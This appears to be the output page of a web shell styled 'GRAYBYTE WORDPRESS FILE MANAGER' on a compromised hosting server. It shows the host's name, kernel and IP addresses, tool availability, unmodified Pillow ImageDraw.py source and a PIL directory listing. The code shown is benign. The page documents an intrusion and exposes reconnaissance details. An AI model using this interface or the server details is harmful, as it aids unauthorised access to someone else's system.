✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ beluga.o2switch.net ​🇻​♯➤ 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 185.154.139.77 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.84
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/python35/lib64/python3.5/site-packages/PIL//ImageDraw.py
#
# The Python Imaging Library
# $Id$
#
# drawing interface operations
#
# History:
# 1996-04-13 fl   Created (experimental)
# 1996-08-07 fl   Filled polygons, ellipses.
# 1996-08-13 fl   Added text support
# 1998-06-28 fl   Handle I and F images
# 1998-12-29 fl   Added arc; use arc primitive to draw ellipses
# 1999-01-10 fl   Added shape stuff (experimental)
# 1999-02-06 fl   Added bitmap support
# 1999-02-11 fl   Changed all primitives to take options
# 1999-02-20 fl   Fixed backwards compatibility
# 2000-10-12 fl   Copy on write, when necessary
# 2001-02-18 fl   Use default ink for bitmap/text also in fill mode
# 2002-10-24 fl   Added support for CSS-style color strings
# 2002-12-10 fl   Added experimental support for RGBA-on-RGB drawing
# 2002-12-11 fl   Refactored low-level drawing API (work in progress)
# 2004-08-26 fl   Made Draw() a factory function, added getdraw() support
# 2004-09-04 fl   Added width support to line primitive
# 2004-09-10 fl   Added font mode handling
# 2006-06-19 fl   Added font bearing support (getmask2)
#
# Copyright (c) 1997-2006 by Secret Labs AB
# Copyright (c) 1996-2006 by Fredrik Lundh
#
# See the README file for information on usage and redistribution.
#

import numbers
import warnings

from PIL import Image, ImageColor
from PIL._util import isStringType

"""
A simple 2D drawing interface for PIL images.
<p>
Application code should use the <b>Draw</b> factory, instead of
directly.
"""


class ImageDraw(object):

    def __init__(self, im, mode=None):
        """
        Create a drawing instance.

        @param im The image to draw in.
        @param mode Optional mode to use for color values.  For RGB
           images, this argument can be RGB or RGBA (to blend the
           drawing into the image).  For all other modes, this argument
           must be the same as the image mode.  If omitted, the mode
           defaults to the mode of the image.
        """
        im.load()
        if im.readonly:
            im._copy()  # make it writeable
        blend = 0
        if mode is None:
            mode = im.mode
        if mode != im.mode:
            if mode == "RGBA" and im.mode == "RGB":
                blend = 1
            else:
                raise ValueError("mode mismatch")
        if mode == "P":
            self.palette = im.palette
        else:
            self.palette = None
        self.im = im.im
        self.draw = Image.core.draw(self.im, blend)
        self.mode = mode
        if mode in ("I", "F"):
            self.ink = self.draw.draw_ink(1, mode)
        else:
            self.ink = self.draw.draw_ink(-1, mode)
        if mode in ("1", "P", "I", "F"):
            # FIXME: fix Fill2 to properly support matte for I+F images
            self.fontmode = "1"
        else:
            self.fontmode = "L"  # aliasing is okay for other modes
        self.fill = 0
        self.font = None

    def setink(self, ink):
        raise NotImplementedError("setink() has been removed. " +
                                  "Please use keyword arguments instead.")

    def setfill(self, onoff):
        raise NotImplementedError("setfill() has been removed. " +
                                  "Please use keyword arguments instead.")

    def setfont(self, font):
        warnings.warn("setfont() is deprecated. " +
                      "Please set the attribute directly instead.")
        # compatibility
        self.font = font

    def getfont(self):
        """Get the current default font."""
        if not self.font:
            # FIXME: should add a font repository
            from PIL import ImageFont
            self.font = ImageFont.load_default()
        return self.font

    def _getink(self, ink, fill=None):
        if ink is None and fill is None:
            if self.fill:
                fill = self.ink
            else:
                ink = self.ink
        else:
            if ink is not None:
                if isStringType(ink):
                    ink = ImageColor.getcolor(ink, self.mode)
                if self.palette and not isinstance(ink, numbers.Number):
                    ink = self.palette.getcolor(ink)
                ink = self.draw.draw_ink(ink, self.mode)
            if fill is not None:
                if isStringType(fill):
                    fill = ImageColor.getcolor(fill, self.mode)
                if self.palette and not isinstance(fill, numbers.Number):
                    fill = self.palette.getcolor(fill)
                fill = self.draw.draw_ink(fill, self.mode)
        return ink, fill

    def arc(self, xy, start, end, fill=None):
        """Draw an arc."""
        ink, fill = self._getink(fill)
        if ink is not None:
            self.draw.draw_arc(xy, start, end, ink)

    def bitmap(self, xy, bitmap, fill=None):
        """Draw a bitmap."""
        bitmap.load()
        ink, fill = self._getink(fill)
        if ink is None:
            ink = fill
        if ink is not None:
            self.draw.draw_bitmap(xy, bitmap.im, ink)

    def chord(self, xy, start, end, fill=None, outline=None):
        """Draw a chord."""
        ink, fill = self._getink(outline, fill)
        if fill is not None:
            self.draw.draw_chord(xy, start, end, fill, 1)
        if ink is not None:
            self.draw.draw_chord(xy, start, end, ink, 0)

    def ellipse(self, xy, fill=None, outline=None):
        """Draw an ellipse."""
        ink, fill = self._getink(outline, fill)
        if fill is not None:
            self.draw.draw_ellipse(xy, fill, 1)
        if ink is not None:
            self.draw.draw_ellipse(xy, ink, 0)

    def line(self, xy, fill=None, width=0):
        """Draw a line, or a connected sequence of line segments."""
        ink, fill = self._getink(fill)
        if ink is not None:
            self.draw.draw_lines(xy, ink, width)

    def shape(self, shape, fill=None, outline=None):
        """(Experimental) Draw a shape."""
        shape.close()
        ink, fill = self._getink(outline, fill)
        if fill is not None:
            self.draw.draw_outline(shape, fill, 1)
        if ink is not None:
            self.draw.draw_outline(shape, ink, 0)

    def pieslice(self, xy, start, end, fill=None, outline=None):
        """Draw a pieslice."""
        ink, fill = self._getink(outline, fill)
        if fill is not None:
            self.draw.draw_pieslice(xy, start, end, fill, 1)
        if ink is not None:
            self.draw.draw_pieslice(xy, start, end, ink, 0)

    def point(self, xy, fill=None):
        """Draw one or more individual pixels."""
        ink, fill = self._getink(fill)
        if ink is not None:
            self.draw.draw_points(xy, ink)

    def polygon(self, xy, fill=None, outline=None):
        """Draw a polygon."""
        ink, fill = self._getink(outline, fill)
        if fill is not None:
            self.draw.draw_polygon(xy, fill, 1)
        if ink is not None:
            self.draw.draw_polygon(xy, ink, 0)

    def rectangle(self, xy, fill=None, outline=None):
        """Draw a rectangle."""
        ink, fill = self._getink(outline, fill)
        if fill is not None:
            self.draw.draw_rectangle(xy, fill, 1)
        if ink is not None:
            self.draw.draw_rectangle(xy, ink, 0)

    def _multiline_check(self, text):
        """Draw text."""
        split_character = "\n" if isinstance(text, type("")) else b"\n"

        return split_character in text

    def _multiline_split(self, text):
        split_character = "\n" if isinstance(text, type("")) else b"\n"

        return text.split(split_character)

    def text(self, xy, text, fill=None, font=None, anchor=None,
             *args, **kwargs):
        if self._multiline_check(text):
            return self.multiline_text(xy, text, fill, font, anchor,
                                       *args, **kwargs)

        ink, fill = self._getink(fill)
        if font is None:
            font = self.getfont()
        if ink is None:
            ink = fill
        if ink is not None:
            try:
                mask, offset = font.getmask2(text, self.fontmode)
                xy = xy[0] + offset[0], xy[1] + offset[1]
            except AttributeError:
                try:
                    mask = font.getmask(text, self.fontmode)
                except TypeError:
                    mask = font.getmask(text)
            self.draw.draw_bitmap(xy, mask, ink)

    def multiline_text(self, xy, text, fill=None, font=None, anchor=None,
                       spacing=4, align="left"):
        widths = []
        max_width = 0
        lines = self._multiline_split(text)
        line_spacing = self.textsize('A', font=font)[1] + spacing
        for line in lines:
            line_width, line_height = self.textsize(line, font)
            widths.append(line_width)
            max_width = max(max_width, line_width)
        left, top = xy
        for idx, line in enumerate(lines):
            if align == "left":
                pass  # left = x
            elif align == "center":
                left += (max_width - widths[idx]) / 2.0
            elif align == "right":
                left += (max_width - widths[idx])
            else:
                assert False, 'align must be "left", "center" or "right"'
            self.text((left, top), line, fill, font, anchor)
            top += line_spacing
            left = xy[0]

    def textsize(self, text, font=None, *args, **kwargs):
        """Get the size of a given string, in pixels."""
        if self._multiline_check(text):
            return self.multiline_textsize(text, font, *args, **kwargs)

        if font is None:
            font = self.getfont()
        return font.getsize(text)

    def multiline_textsize(self, text, font=None, spacing=4):
        max_width = 0
        lines = self._multiline_split(text)
        line_spacing = self.textsize('A', font=font)[1] + spacing
        for line in lines:
            line_width, line_height = self.textsize(line, font)
            max_width = max(max_width, line_width)
        return max_width, len(lines)*line_spacing


def Draw(im, mode=None):
    """
    A simple 2D drawing interface for PIL images.

    @param im The image to draw in.
    @param mode Optional mode to use for color values.  For RGB
       images, this argument can be RGB or RGBA (to blend the
       drawing into the image).  For all other modes, this argument
       must be the same as the image mode.  If omitted, the mode
       defaults to the mode of the image.
    """
    try:
        return im.getdraw(mode)
    except AttributeError:
        return ImageDraw(im, mode)

# experimental access to the outline API
try:
    Outline = Image.core.outline
except AttributeError:
    Outline = None


def getdraw(im=None, hints=None):
    """
    (Experimental) A more advanced 2D drawing interface for PIL images,
    based on the WCK interface.

    @param im The image to draw in.
    @param hints An optional list of hints.
    @return A (drawing context, drawing resource factory) tuple.
    """
    # FIXME: this needs more work!
    # FIXME: come up with a better 'hints' scheme.
    handler = None
    if not hints or "nicest" in hints:
        try:
            from PIL import _imagingagg as handler
        except ImportError:
            pass
    if handler is None:
        from PIL import ImageDraw2 as handler
    if im:
        im = handler.Draw(im)
    return im, handler


def floodfill(image, xy, value, border=None):
    """
    (experimental) Fills a bounded region with a given color.

    @param image Target image.
    @param xy Seed position (a 2-item coordinate tuple).
    @param value Fill color.
    @param border Optional border value.  If given, the region consists of
        pixels with a color different from the border color.  If not given,
        the region consists of pixels having the same color as the seed
        pixel.
    """
    # based on an implementation by Eric S. Raymond
    pixel = image.load()
    x, y = xy
    try:
        background = pixel[x, y]
        if background == value:
            return  # seed point already has fill color
        pixel[x, y] = value
    except IndexError:
        return  # seed point outside image
    edge = [(x, y)]
    if border is None:
        while edge:
            newedge = []
            for (x, y) in edge:
                for (s, t) in ((x+1, y), (x-1, y), (x, y+1), (x, y-1)):
                    try:
                        p = pixel[s, t]
                    except IndexError:
                        pass
                    else:
                        if p == background:
                            pixel[s, t] = value
                            newedge.append((s, t))
            edge = newedge
    else:
        while edge:
            newedge = []
            for (x, y) in edge:
                for (s, t) in ((x+1, y), (x-1, y), (x, y+1), (x, y-1)):
                    try:
                        p = pixel[s, t]
                    except IndexError:
                        pass
                    else:
                        if p != value and p != border:
                            pixel[s, t] = value
                            newedge.append((s, t))
            edge = newedge

# End of file


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
7 Feb 2025 5.02 AM
root / linksafe
0755
__pycache__
--
25 Jul 2024 8.41 AM
root / linksafe
0755
BdfFontFile.py
3.265 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
BmpImagePlugin.py
12.79 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
BufrStubImagePlugin.py
1.469 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ContainerIO.py
2.544 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
CurImagePlugin.py
1.993 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
DcxImagePlugin.py
1.955 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
DdsImagePlugin.py
7.516 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
EpsImagePlugin.py
12.274 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ExifTags.py
8.63 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
FitsStubImagePlugin.py
1.617 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
FliImagePlugin.py
4.711 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
FontFile.py
2.728 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
FpxImagePlugin.py
6.168 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
FtexImagePlugin.py
3.324 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
GbrImagePlugin.py
2.656 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
GdImageFile.py
2.131 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
GifImagePlugin.py
21.46 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
GimpGradientFile.py
3.269 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
GimpPaletteFile.py
1.31 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
GribStubImagePlugin.py
1.47 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
Hdf5StubImagePlugin.py
1.513 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
IcnsImagePlugin.py
10.418 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
IcoImagePlugin.py
9.026 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImImagePlugin.py
10.067 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
Image.py
80.437 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageChops.py
6.039 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageCms.py
36.25 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageColor.py
7.826 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageDraw.py
12.961 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageDraw2.py
3.155 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageEnhance.py
3.11 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageFile.py
15.959 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageFilter.py
6.463 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageFont.py
19.034 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageGrab.py
2.148 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageMath.py
7.306 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageMode.py
1.442 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageMorph.py
8.113 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageOps.py
13.569 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImagePalette.py
6.149 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImagePath.py
1.272 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageQt.py
5.557 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageSequence.py
1.211 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageShow.py
4.719 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageStat.py
3.757 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageTk.py
8.646 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageTransform.py
2.811 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImageWin.py
7.359 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
ImtImagePlugin.py
2.185 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
IptcImagePlugin.py
6.813 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
Jpeg2KImagePlugin.py
7.798 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
JpegImagePlugin.py
25.424 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
JpegPresets.py
12.119 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
McIdasImagePlugin.py
1.728 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
MicImagePlugin.py
2.31 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
MpegImagePlugin.py
1.836 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
MpoImagePlugin.py
2.951 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
MspImagePlugin.py
2.21 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
OleFileIO-README.md
9.842 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
OleFileIO.py
100.326 KB
26 May 2020 3.19 AM
root / linksafe
0644
PSDraw.py
6.694 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
PaletteFile.py
1.087 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
PalmImagePlugin.py
9.05 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
PcdImagePlugin.py
1.272 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
PcfFontFile.py
6.049 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
PcxImagePlugin.py
5.21 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
PdfImagePlugin.py
6.594 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
PixarImagePlugin.py
1.632 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
PngImagePlugin.py
23.922 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
PpmImagePlugin.py
4.657 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
PsdImagePlugin.py
7.423 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
PyAccess.py
8.547 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
SgiImagePlugin.py
2.13 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
SpiderImagePlugin.py
9.312 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
SunImagePlugin.py
1.926 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
TarIO.py
1.194 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
TgaImagePlugin.py
4.874 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
TiffImagePlugin.py
52.812 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
TiffTags.py
13.971 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
WalImageFile.py
5.271 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
WebPImagePlugin.py
1.97 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
WmfImagePlugin.py
4.05 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
XVThumbImagePlugin.py
1.88 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
XbmImagePlugin.py
2.446 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
XpmImagePlugin.py
3.057 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
__init__.py
1.577 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
_binary.py
1.375 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
_imaging.cpython-35m-x86_64-linux-gnu.so
367.68 KB
26 May 2020 3.19 AM
root / linksafe
0755
_imagingcms.cpython-35m-x86_64-linux-gnu.so
35.844 KB
26 May 2020 3.19 AM
root / linksafe
0755
_imagingft.cpython-35m-x86_64-linux-gnu.so
22.352 KB
26 May 2020 3.19 AM
root / linksafe
0755
_imagingmath.cpython-35m-x86_64-linux-gnu.so
20.133 KB
26 May 2020 3.19 AM
root / linksafe
0755
_imagingmorph.cpython-35m-x86_64-linux-gnu.so
11.82 KB
26 May 2020 3.19 AM
root / linksafe
0755
_imagingtk.cpython-35m-x86_64-linux-gnu.so
12.125 KB
26 May 2020 3.19 AM
root / linksafe
0755
_tkinter_finder.py
0.682 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
_util.py
0.54 KB
17 Aug 2016 8.35 PM
root / linksafe
0644
_webp.cpython-35m-x86_64-linux-gnu.so
15.891 KB
26 May 2020 3.19 AM
root / linksafe
0755
features.py
1.575 KB
17 Aug 2016 8.35 PM
root / linksafe
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF